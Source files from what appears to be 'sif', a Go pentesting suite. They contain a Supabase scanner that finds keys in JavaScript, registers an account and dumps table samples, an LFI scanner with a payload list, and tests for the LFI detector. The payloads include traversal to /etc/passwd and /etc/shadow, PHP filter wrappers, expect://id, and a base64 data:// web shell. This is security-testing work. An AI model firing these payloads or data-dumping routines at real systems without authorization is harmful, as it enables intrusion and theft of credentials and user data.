·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// todo: scan for storage and auth vulns
|
||||
|
||||
package js
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
)
|
||||
|
||||
// jwtRegex matches JWT tokens in JavaScript content.
|
||||
var jwtRegex = regexp.MustCompile(`["'\x60](ey[A-Za-z0-9_-]{2,}(?:\.[A-Za-z0-9_-]{2,}){2})["'\x60]`)
|
||||
|
||||
type supabaseJwtBody struct {
|
||||
ProjectId *string `json:"ref"`
|
||||
Role *string `json:"role"`
|
||||
}
|
||||
|
||||
type supabaseScanResult struct {
|
||||
ProjectId string `json:"project_id"`
|
||||
ApiKey string `json:"api_key"`
|
||||
Role string `json:"role"` // note: if this isnt anon its bad
|
||||
Collections []supabaseCollection `json:"collections"`
|
||||
}
|
||||
|
||||
type supabaseCollection struct {
|
||||
Name string `json:"name"`
|
||||
Sample []json.RawMessage `json:"sample"` // raw JSON for deferred parsing
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
// supabaseArrayResponse represents a response that is an array with count header.
|
||||
type supabaseArrayResponse struct {
|
||||
Array []json.RawMessage
|
||||
Count int
|
||||
}
|
||||
|
||||
// supabaseAuthResponse represents the auth response from Supabase.
|
||||
type supabaseAuthResponse struct {
|
||||
AccessToken string `json:"access_token"`
|
||||
}
|
||||
|
||||
// supabaseOpenAPIResponse represents the OpenAPI spec response.
|
||||
type supabaseOpenAPIResponse struct {
|
||||
Paths map[string]json.RawMessage `json:"paths"`
|
||||
}
|
||||
|
||||
// getSupabaseArrayResponse fetches a Supabase endpoint that returns an array.
|
||||
func getSupabaseArrayResponse(projectId, path, apikey string, auth *string) (*supabaseArrayResponse, error) {
|
||||
body, resp, err := doSupabaseRequest(projectId, path, apikey, auth)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var arr []json.RawMessage
|
||||
if err := json.Unmarshal(body, &arr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
contentRange := resp.Header.Get("Content-Range")
|
||||
parts := strings.Split(contentRange, "/")
|
||||
if len(parts) < 2 {
|
||||
return nil, errors.New("invalid Content-Range header")
|
||||
}
|
||||
count, err := strconv.Atoi(parts[1])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &supabaseArrayResponse{Array: arr, Count: count}, nil
|
||||
}
|
||||
|
||||
// getSupabaseOpenAPI fetches the OpenAPI spec from Supabase.
|
||||
func getSupabaseOpenAPI(projectId, apikey string, auth *string) (*supabaseOpenAPIResponse, error) {
|
||||
body, _, err := doSupabaseRequest(projectId, "/rest/v1/", apikey, auth)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var spec supabaseOpenAPIResponse
|
||||
if err := json.Unmarshal(body, &spec); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &spec, nil
|
||||
}
|
||||
|
||||
// doSupabaseRequest performs a GET request to the Supabase API.
|
||||
func doSupabaseRequest(projectId, path, apikey string, auth *string) ([]byte, *http.Response, error) {
|
||||
client := http.Client{}
|
||||
|
||||
req, err := http.NewRequest("GET", "https://"+projectId+".supabase.co"+path, nil)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
log.Debugf("Sending request to %s", req.URL.String())
|
||||
req.Header.Set("apikey", apikey)
|
||||
req.Header.Set("Prefer", "count=exact")
|
||||
if auth != nil {
|
||||
req.Header.Set("Authorization", "Bearer "+*auth)
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, nil, errors.New("request to " + resp.Request.URL.String() + " failed with status code " + strconv.Itoa(resp.StatusCode))
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
return body, resp, nil
|
||||
}
|
||||
|
||||
func ScanSupabase(jsContent string, jsUrl string) ([]supabaseScanResult, error) {
|
||||
supabaselog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "🚧 JavaScript > Supabase ⚡️",
|
||||
}).With("url", jsUrl)
|
||||
|
||||
var results = []supabaseScanResult{}
|
||||
jwtGroups := jwtRegex.FindAllStringSubmatch(jsContent, -1)
|
||||
|
||||
var jwts = []string{}
|
||||
|
||||
for _, jwtGroup := range jwtGroups {
|
||||
jwts = append(jwts, jwtGroup[1])
|
||||
}
|
||||
|
||||
slices.Sort(jwts)
|
||||
jwts = slices.Compact(jwts)
|
||||
|
||||
for _, jwt := range jwts {
|
||||
parts := strings.Split(jwt, ".")
|
||||
body := parts[1]
|
||||
|
||||
decoded, err := base64.RawStdEncoding.DecodeString(body)
|
||||
if err != nil {
|
||||
supabaselog.Debugf("Failed to decode JWT %s: %s", body, err)
|
||||
continue
|
||||
}
|
||||
|
||||
supabaselog.Debugf("JWT body: %s", decoded)
|
||||
var supabaseJwt *supabaseJwtBody
|
||||
err = json.Unmarshal([]byte(decoded), &supabaseJwt)
|
||||
if err != nil {
|
||||
supabaselog.Debugf("Failed to json parse JWT %s: %s", jwt, err)
|
||||
continue
|
||||
}
|
||||
|
||||
if supabaseJwt.ProjectId == nil || supabaseJwt.Role == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
supabaselog.Infof("Found valid supabase project %s with role %s", *supabaseJwt.ProjectId, *supabaseJwt.Role)
|
||||
client := http.Client{}
|
||||
|
||||
req, err := http.NewRequest("POST", "https://"+*supabaseJwt.ProjectId+".supabase.co/auth/v1/signup", bytes.NewBufferString(`{"email":"automated`+strconv.Itoa(int(time.Now().Unix()))+`@sif.sh","password":"automatedacct"}`))
|
||||
if err != nil {
|
||||
supabaselog.Errorf("Error while creating HTTP req for creating user: %s", err)
|
||||
continue
|
||||
}
|
||||
req.Header.Set("apikey", jwt)
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
supabaselog.Errorf("Error while sending request to create user: %s", err)
|
||||
continue
|
||||
}
|
||||
|
||||
var auth string
|
||||
if resp.StatusCode == http.StatusOK {
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
resp.Body.Close()
|
||||
return nil, err
|
||||
}
|
||||
resp.Body.Close()
|
||||
|
||||
var authResp supabaseAuthResponse
|
||||
if err := json.Unmarshal(body, &authResp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
auth = authResp.AccessToken
|
||||
supabaselog.Infof("Created account with JWT %s", auth)
|
||||
} else {
|
||||
resp.Body.Close()
|
||||
}
|
||||
|
||||
var collections = []supabaseCollection{}
|
||||
|
||||
openAPI, err := getSupabaseOpenAPI(*supabaseJwt.ProjectId, jwt, &auth)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if openAPI.Paths == nil {
|
||||
return nil, errors.New("paths not found in supabase openapi")
|
||||
}
|
||||
|
||||
for path := range openAPI.Paths {
|
||||
if path == "/" {
|
||||
continue
|
||||
}
|
||||
|
||||
// todo: support for scanning rpc calls
|
||||
if strings.HasPrefix(path, "/rpc/") {
|
||||
continue
|
||||
}
|
||||
|
||||
sampleResp, err := getSupabaseArrayResponse(*supabaseJwt.ProjectId, "/rest/v1"+path, jwt, &auth)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
marshalled, err := json.Marshal(sampleResp.Array)
|
||||
if err != nil {
|
||||
supabaselog.Errorf("Failed to marshal sample data for %s: %s", path, err)
|
||||
}
|
||||
|
||||
supabaselog.Infof("Got sample (1000 entries) for collection %s: %s", path, string(marshalled))
|
||||
|
||||
// limit to first 10 samples
|
||||
sampleLimit := len(sampleResp.Array)
|
||||
if sampleLimit > 10 {
|
||||
sampleLimit = 10
|
||||
}
|
||||
|
||||
collection := supabaseCollection{
|
||||
Name: strings.TrimPrefix(path, "/"),
|
||||
Sample: sampleResp.Array[:sampleLimit], // passed to local LLM for scope
|
||||
Count: sampleResp.Count,
|
||||
}
|
||||
|
||||
if collection.Count > 1 /* one entry may just be for the user */ {
|
||||
collections = append(collections, collection)
|
||||
}
|
||||
}
|
||||
|
||||
result := supabaseScanResult{
|
||||
ProjectId: *supabaseJwt.ProjectId,
|
||||
ApiKey: jwt,
|
||||
Role: *supabaseJwt.Role,
|
||||
Collections: collections,
|
||||
}
|
||||
results = append(results, result)
|
||||
}
|
||||
|
||||
// todo(eva): implement supabase scanning
|
||||
return results, nil
|
||||
}
|
||||
@@ -0,0 +1,307 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
// LFIResult represents the results of LFI reconnaissance
|
||||
type LFIResult struct {
|
||||
Vulnerabilities []LFIVulnerability `json:"vulnerabilities,omitempty"`
|
||||
TestedParams int `json:"tested_params"`
|
||||
TestedPayloads int `json:"tested_payloads"`
|
||||
}
|
||||
|
||||
// LFIVulnerability represents a detected LFI vulnerability
|
||||
type LFIVulnerability struct {
|
||||
URL string `json:"url"`
|
||||
Parameter string `json:"parameter"`
|
||||
Payload string `json:"payload"`
|
||||
Evidence string `json:"evidence"`
|
||||
Severity string `json:"severity"`
|
||||
FileIncluded string `json:"file_included,omitempty"`
|
||||
}
|
||||
|
||||
// LFI payloads for directory traversal
|
||||
var lfiPayloads = []struct {
|
||||
payload string
|
||||
target string
|
||||
severity string
|
||||
}{
|
||||
// Linux/Unix paths
|
||||
{"../../../../../../../etc/passwd", "/etc/passwd", "high"},
|
||||
{"....//....//....//....//....//etc/passwd", "/etc/passwd", "high"},
|
||||
{"..%2f..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd", "high"},
|
||||
{"..%252f..%252f..%252f..%252fetc/passwd", "/etc/passwd", "high"},
|
||||
{"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "/etc/passwd", "high"},
|
||||
{"....\\....\\....\\....\\etc\\passwd", "/etc/passwd", "high"},
|
||||
{"/etc/passwd", "/etc/passwd", "high"},
|
||||
{"/etc/passwd%00", "/etc/passwd", "high"},
|
||||
{"../../../../../../../etc/shadow", "/etc/shadow", "critical"},
|
||||
{"../../../../../../../proc/self/environ", "/proc/self/environ", "high"},
|
||||
{"../../../../../../../var/log/apache2/access.log", "apache access log", "medium"},
|
||||
{"../../../../../../../var/log/apache2/error.log", "apache error log", "medium"},
|
||||
{"../../../../../../../var/log/nginx/access.log", "nginx access log", "medium"},
|
||||
{"../../../../../../../var/log/nginx/error.log", "nginx error log", "medium"},
|
||||
|
||||
// Windows paths
|
||||
{"..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "windows hosts", "high"},
|
||||
{"../../../../../../../windows/system32/drivers/etc/hosts", "windows hosts", "high"},
|
||||
{"..\\..\\..\\..\\boot.ini", "boot.ini", "high"},
|
||||
{"../../../../../../../boot.ini", "boot.ini", "high"},
|
||||
{"..\\..\\..\\..\\windows\\win.ini", "win.ini", "medium"},
|
||||
|
||||
// PHP wrappers
|
||||
{"php://filter/convert.base64-encode/resource=index.php", "php source", "high"},
|
||||
{"php://filter/read=convert.base64-encode/resource=config.php", "php config", "critical"},
|
||||
{"expect://id", "command execution", "critical"},
|
||||
{"php://input", "php input", "high"},
|
||||
{"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "data wrapper", "critical"},
|
||||
}
|
||||
|
||||
// Evidence patterns for LFI detection
|
||||
var lfiEvidencePatterns = []struct {
|
||||
pattern *regexp.Regexp
|
||||
description string
|
||||
severity string
|
||||
}{
|
||||
{regexp.MustCompile(`root:.*:0:0:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`daemon:.*:1:1:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`nobody:.*:65534:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`\[boot loader\]`), "boot.ini content", "high"},
|
||||
{regexp.MustCompile(`\[operating systems\]`), "boot.ini content", "high"},
|
||||
{regexp.MustCompile(`; for 16-bit app support`), "win.ini content", "medium"},
|
||||
{regexp.MustCompile(`\[fonts\]`), "win.ini content", "medium"},
|
||||
{regexp.MustCompile(`127\.0\.0\.1\s+localhost`), "hosts file content", "medium"},
|
||||
{regexp.MustCompile(`DOCUMENT_ROOT=`), "/proc/self/environ content", "high"},
|
||||
{regexp.MustCompile(`PATH=.*:/usr`), "environment variables", "high"},
|
||||
{regexp.MustCompile(`<\?php`), "PHP source code", "high"},
|
||||
{regexp.MustCompile(`PD9waHA`), "base64 encoded PHP", "high"},
|
||||
}
|
||||
|
||||
// Common parameters to test
|
||||
var commonLFIParams = []string{
|
||||
"file", "page", "path", "include", "doc", "document",
|
||||
"folder", "root", "pg", "style", "pdf", "template",
|
||||
"php_path", "lang", "language", "view", "content",
|
||||
"layout", "mod", "conf", "url", "dir", "show",
|
||||
"name", "cat", "action", "read", "load", "open",
|
||||
}
|
||||
|
||||
// LFI performs LFI (Local File Inclusion) reconnaissance on the target URL
|
||||
func LFI(targetURL string, timeout time.Duration, threads int, logdir string) (*LFIResult, error) {
|
||||
fmt.Println(styles.Separator.Render("📁 Starting " + styles.Status.Render("LFI reconnaissance") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(targetURL, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "LFI reconnaissance"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
lfilog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "LFI 📁",
|
||||
}).With("url", targetURL)
|
||||
|
||||
lfilog.Infof("Starting LFI reconnaissance...")
|
||||
|
||||
result := &LFIResult{
|
||||
Vulnerabilities: make([]LFIVulnerability, 0, 16),
|
||||
}
|
||||
seen := make(map[string]bool)
|
||||
|
||||
var mu sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
if len(via) >= 3 {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// parse the target URL to check for existing parameters
|
||||
parsedURL, err := url.Parse(targetURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse URL: %w", err)
|
||||
}
|
||||
|
||||
existingParams := parsedURL.Query()
|
||||
paramsToTest := make(map[string]bool)
|
||||
|
||||
// add existing parameters
|
||||
for param := range existingParams {
|
||||
paramsToTest[param] = true
|
||||
}
|
||||
|
||||
// add common LFI parameters
|
||||
for _, param := range commonLFIParams {
|
||||
paramsToTest[param] = true
|
||||
}
|
||||
|
||||
result.TestedParams = len(paramsToTest)
|
||||
result.TestedPayloads = len(lfiPayloads)
|
||||
|
||||
lfilog.Infof("Testing %d parameters with %d payloads", len(paramsToTest), len(lfiPayloads))
|
||||
|
||||
// create work items
|
||||
type workItem struct {
|
||||
param string
|
||||
payload struct {
|
||||
payload string
|
||||
target string
|
||||
severity string
|
||||
}
|
||||
}
|
||||
|
||||
workItems := make([]workItem, 0, len(paramsToTest)*len(lfiPayloads))
|
||||
for param := range paramsToTest {
|
||||
for _, payload := range lfiPayloads {
|
||||
workItems = append(workItems, workItem{param: param, payload: payload})
|
||||
}
|
||||
}
|
||||
|
||||
// distribute work
|
||||
workChan := make(chan workItem, len(workItems))
|
||||
for _, item := range workItems {
|
||||
workChan <- item
|
||||
}
|
||||
close(workChan)
|
||||
|
||||
wg.Add(threads)
|
||||
for t := 0; t < threads; t++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for item := range workChan {
|
||||
// build test URL
|
||||
testParams := url.Values{}
|
||||
for k, v := range existingParams {
|
||||
if k != item.param {
|
||||
testParams[k] = v
|
||||
}
|
||||
}
|
||||
testParams.Set(item.param, item.payload.payload)
|
||||
|
||||
testURL := fmt.Sprintf("%s://%s%s?%s",
|
||||
parsedURL.Scheme,
|
||||
parsedURL.Host,
|
||||
parsedURL.Path,
|
||||
testParams.Encode())
|
||||
|
||||
resp, err := client.Get(testURL)
|
||||
if err != nil {
|
||||
log.Debugf("Error testing %s: %v", testURL, err)
|
||||
continue
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
|
||||
resp.Body.Close()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
bodyStr := string(body)
|
||||
|
||||
// check for evidence patterns
|
||||
for _, evidence := range lfiEvidencePatterns {
|
||||
if evidence.pattern.MatchString(bodyStr) {
|
||||
key := item.param + "|" + item.payload.payload
|
||||
mu.Lock()
|
||||
if seen[key] {
|
||||
mu.Unlock()
|
||||
break
|
||||
}
|
||||
seen[key] = true
|
||||
|
||||
vuln := LFIVulnerability{
|
||||
URL: testURL,
|
||||
Parameter: item.param,
|
||||
Payload: item.payload.payload,
|
||||
Evidence: evidence.description,
|
||||
Severity: item.payload.severity,
|
||||
FileIncluded: item.payload.target,
|
||||
}
|
||||
result.Vulnerabilities = append(result.Vulnerabilities, vuln)
|
||||
mu.Unlock()
|
||||
|
||||
lfilog.Warnf("LFI vulnerability found: %s in param [%s] - %s",
|
||||
styles.SeverityHigh.Render(evidence.description),
|
||||
styles.Highlight.Render(item.param),
|
||||
styles.Status.Render(item.payload.target))
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir,
|
||||
fmt.Sprintf("LFI: %s in param [%s] via payload [%s]\n",
|
||||
evidence.description, item.param, item.payload.payload))
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// summary
|
||||
if len(result.Vulnerabilities) > 0 {
|
||||
lfilog.Warnf("Found %d LFI vulnerabilities", len(result.Vulnerabilities))
|
||||
criticalCount := 0
|
||||
highCount := 0
|
||||
for _, v := range result.Vulnerabilities {
|
||||
if v.Severity == "critical" {
|
||||
criticalCount++
|
||||
} else if v.Severity == "high" {
|
||||
highCount++
|
||||
}
|
||||
}
|
||||
if criticalCount > 0 {
|
||||
lfilog.Errorf("%d CRITICAL vulnerabilities found!", criticalCount)
|
||||
}
|
||||
if highCount > 0 {
|
||||
lfilog.Warnf("%d HIGH severity vulnerabilities found", highCount)
|
||||
}
|
||||
} else {
|
||||
lfilog.Infof("No LFI vulnerabilities detected")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// DetectLFIFromResponse checks a response body for LFI evidence
|
||||
func DetectLFIFromResponse(body string) (bool, string) {
|
||||
for _, evidence := range lfiEvidencePatterns {
|
||||
if evidence.pattern.MatchString(body) {
|
||||
return true, evidence.description
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
@@ -0,0 +1,316 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDetectLFIFromResponse_EtcPasswd(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
expectDesc string
|
||||
}{
|
||||
{
|
||||
name: "root entry",
|
||||
body: "root:x:0:0:root:/root:/bin/bash",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "daemon entry",
|
||||
body: "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "nobody entry",
|
||||
body: "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "no evidence",
|
||||
body: "<html><body>Hello World</body></html>",
|
||||
expectFound: false,
|
||||
expectDesc: "",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, desc := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
if desc != tt.expectDesc {
|
||||
t.Errorf("DetectLFIFromResponse() desc = %v, want %v", desc, tt.expectDesc)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_WindowsFiles(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "boot.ini boot loader",
|
||||
body: "[boot loader]\ntimeout=30",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "boot.ini operating systems",
|
||||
body: "[operating systems]\nmulti(0)",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "win.ini fonts section",
|
||||
body: "; for 16-bit app support\n[fonts]",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "hosts file",
|
||||
body: "127.0.0.1 localhost",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_EnvironmentVars(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "DOCUMENT_ROOT",
|
||||
body: "DOCUMENT_ROOT=/var/www/html",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "PATH variable",
|
||||
body: "PATH=/usr/local/bin:/usr/bin:/bin",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_PHPSource(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "PHP opening tag",
|
||||
body: "<?php echo 'hello'; ?>",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "base64 encoded PHP",
|
||||
body: "PD9waHAgZWNobyAnaGVsbG8nOyA/Pg==",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIResult_Fields(t *testing.T) {
|
||||
result := LFIResult{
|
||||
Vulnerabilities: []LFIVulnerability{
|
||||
{
|
||||
URL: "http://example.com/?file=../../../etc/passwd",
|
||||
Parameter: "file",
|
||||
Payload: "../../../etc/passwd",
|
||||
Evidence: "/etc/passwd content",
|
||||
Severity: "high",
|
||||
FileIncluded: "/etc/passwd",
|
||||
},
|
||||
},
|
||||
TestedParams: 10,
|
||||
TestedPayloads: 25,
|
||||
}
|
||||
|
||||
if len(result.Vulnerabilities) != 1 {
|
||||
t.Errorf("expected 1 vulnerability, got %d", len(result.Vulnerabilities))
|
||||
}
|
||||
if result.Vulnerabilities[0].Parameter != "file" {
|
||||
t.Errorf("expected parameter 'file', got '%s'", result.Vulnerabilities[0].Parameter)
|
||||
}
|
||||
if result.Vulnerabilities[0].Severity != "high" {
|
||||
t.Errorf("expected severity 'high', got '%s'", result.Vulnerabilities[0].Severity)
|
||||
}
|
||||
if result.TestedParams != 10 {
|
||||
t.Errorf("expected 10 tested params, got %d", result.TestedParams)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIVulnerability_Fields(t *testing.T) {
|
||||
vuln := LFIVulnerability{
|
||||
URL: "http://example.com/?page=../../../etc/passwd",
|
||||
Parameter: "page",
|
||||
Payload: "../../../etc/passwd",
|
||||
Evidence: "/etc/passwd content",
|
||||
Severity: "high",
|
||||
FileIncluded: "/etc/passwd",
|
||||
}
|
||||
|
||||
if vuln.URL != "http://example.com/?page=../../../etc/passwd" {
|
||||
t.Errorf("unexpected URL: %s", vuln.URL)
|
||||
}
|
||||
if vuln.Parameter != "page" {
|
||||
t.Errorf("expected parameter 'page', got '%s'", vuln.Parameter)
|
||||
}
|
||||
if vuln.Payload != "../../../etc/passwd" {
|
||||
t.Errorf("unexpected payload: %s", vuln.Payload)
|
||||
}
|
||||
if vuln.Evidence != "/etc/passwd content" {
|
||||
t.Errorf("unexpected evidence: %s", vuln.Evidence)
|
||||
}
|
||||
if vuln.Severity != "high" {
|
||||
t.Errorf("expected severity 'high', got '%s'", vuln.Severity)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIPayloads_Exist(t *testing.T) {
|
||||
if len(lfiPayloads) == 0 {
|
||||
t.Error("lfiPayloads should not be empty")
|
||||
}
|
||||
|
||||
// check that all payloads have required fields
|
||||
for i, payload := range lfiPayloads {
|
||||
if payload.payload == "" {
|
||||
t.Errorf("payload %d has empty payload", i)
|
||||
}
|
||||
if payload.target == "" {
|
||||
t.Errorf("payload %d has empty target", i)
|
||||
}
|
||||
if payload.severity == "" {
|
||||
t.Errorf("payload %d has empty severity", i)
|
||||
}
|
||||
if payload.severity != "critical" && payload.severity != "high" && payload.severity != "medium" && payload.severity != "low" {
|
||||
t.Errorf("payload %d has invalid severity: %s", i, payload.severity)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCommonLFIParams_Exist(t *testing.T) {
|
||||
if len(commonLFIParams) == 0 {
|
||||
t.Error("commonLFIParams should not be empty")
|
||||
}
|
||||
|
||||
expectedParams := []string{"file", "page", "path", "include"}
|
||||
for _, expected := range expectedParams {
|
||||
found := false
|
||||
for _, param := range commonLFIParams {
|
||||
if param == expected {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("expected common param '%s' not found", expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIEvidencePatterns_Exist(t *testing.T) {
|
||||
if len(lfiEvidencePatterns) == 0 {
|
||||
t.Error("lfiEvidencePatterns should not be empty")
|
||||
}
|
||||
|
||||
// verify patterns compile and match expected content
|
||||
testCases := []struct {
|
||||
content string
|
||||
shouldMatch bool
|
||||
description string
|
||||
}{
|
||||
{"root:x:0:0:root:/root:/bin/bash", true, "etc passwd root"},
|
||||
{"nobody:x:65534:65534:nobody", true, "etc passwd nobody"},
|
||||
{"[boot loader]", true, "boot.ini"},
|
||||
{"[operating systems]", true, "boot.ini"},
|
||||
{"127.0.0.1 localhost", true, "hosts file"},
|
||||
{"<html>Hello</html>", false, "normal html"},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
matched := false
|
||||
for _, pattern := range lfiEvidencePatterns {
|
||||
if pattern.pattern.MatchString(tc.content) {
|
||||
matched = true
|
||||
break
|
||||
}
|
||||
